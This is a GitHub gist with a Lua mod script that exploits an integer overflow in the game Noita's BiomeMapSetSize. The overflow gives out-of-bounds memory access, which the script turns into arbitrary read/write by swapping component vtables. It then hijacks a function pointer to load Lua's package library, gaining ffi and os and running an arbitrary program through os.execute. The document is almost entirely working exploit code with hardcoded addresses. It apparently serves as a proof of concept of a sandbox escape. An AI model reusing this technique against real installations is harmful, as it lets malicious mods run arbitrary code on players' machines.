Skip to content

Instantly share code, notes, and snippets.

@dextercd
Created December 14, 2023 18:07
Show Gist options
  • Save dextercd/7894f707c4cba714c5b5b40ffabc83ee to your computer and use it in GitHub Desktop.
Save dextercd/7894f707c4cba714c5b5b40ffabc83ee to your computer and use it in GitHub Desktop.
-- Hardcoded for the Aug 29 2023 Steam beta version of Noita
SIZE_VERLET_PHYSICS_COMP = 11064
MAP_HEIGHT = 2768 -- this * 4 is close to SIZE_VERLET_PHYSICS_COMP
ADDR_VTABLE_VERLET_PHYSICS_COMP = 0x00e15b78
ADDR_VTABLE_ELEC_CHARGE_COMP = 0x00e6e4c4
ADDR_VTABLE_VSC_COMP = 0x00e68858
IAT_LUAOPEN_STRING = 0x00d3278c
-- This is the important part of the exploit. Noita allocates a much smaller
-- buffer than it should, because width*height overflows.
--
-- The area calculation here overflows so that:
-- 1073741825 * MAP_HEIGHT % 2**32 == MAP_HEIGHT
--
-- Even though the area is wrong, Noita still writes the new width/height into
-- the biome map, which is used to check if the x/y is in range for
-- BiomeMap[Get|Set]Pixel. So now we can read/write outside the buffer
BiomeMapSetSize(1073741825, MAP_HEIGHT)
-- The buffer size (MAP_HEIGHT*4) is close to VerletPhysicsComponent's size which
-- means it's likely allocated before the component created here.
local e = EntityCreateNew()
local v = EntityAddComponent2(e, "VerletPhysicsComponent", {_enabled=false})
-- Find where the component is stored relative to the biome map buffer.
local offset = MAP_HEIGHT
while
BiomeMapGetPixel(offset, 0) ~= ADDR_VTABLE_VERLET_PHYSICS_COMP
do
offset = offset + 1
end
-- Here starts the usual stuff.. Create a arbitrary read/write functions and use
-- those to call luaopen_package
function get_lua_addr(object)
return tonumber(("%p"):format(object), 16)
end
-- Change the vtable of v to different component types to construct a fake
-- std::string pointing to arbitrary memory
function construct_string(addr, length)
BiomeMapSetPixel(offset, 0, BiomeMapConvertPixelFromUintToInt(ADDR_VTABLE_ELEC_CHARGE_COMP))
ComponentSetValue2(v, "charge_time_frames", addr)
ComponentSetValue2(v, "fx_emission_interval_max", length)
ComponentSetValue2(v, "charge", 1000)
-- Fields set above align with std::string name field of vsc component
BiomeMapSetPixel(offset, 0, BiomeMapConvertPixelFromUintToInt(ADDR_VTABLE_VSC_COMP))
end
-- Read from the fake std::string.
function read_string()
return ComponentGetValue2(v, "name")
end
-- Write into the fake std::string's data.
function write_string(value)
ComponentSetValue2(v, "name", value)
end
local function read_int(addr)
construct_string(addr, 4)
local bytes = read_string()
local value = 0
for i=1,math.min(#bytes, 4) do
value = value + string.byte(bytes, i) * math.pow(256, i - 1)
end
return value
end
local function write_int(addr, value)
local bytes = string.char(
bit.band(bit.rshift(value, 0), 0xff),
bit.band(bit.rshift(value, 8), 0xff),
bit.band(bit.rshift(value, 16), 0xff),
bit.band(bit.rshift(value, 24), 0xff)
)
construct_string(addr, 4)
write_string(bytes)
end
local luaopen_string = read_int(IAT_LUAOPEN_STRING)
local luaopen_package = luaopen_string - 5712 -- luaopen_package is a certain distance away
local fun_cfunc = 20
write_int(get_lua_addr(SetPlayerSpawnLocation) + fun_cfunc, luaopen_package)
-- SetPlayerSpawnLocation is now actually luaopen_package!
SetPlayerSpawnLocation()
-- We can use package.loadlib to load anything we want.
local ffi = package.loadlib("lua51.dll", "luaopen_ffi")()
local os = package.loadlib("lua51.dll", "luaopen_os")()
-- TODO: Evil stuff 4.0
os.execute('start "" "..\\Spelunky 2\\Spel2.exe"') -- surprise the user with Spelunky
-- Load a real biome map that uses sensible values
dofile("mods/nightmare/files/biome_map.lua")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment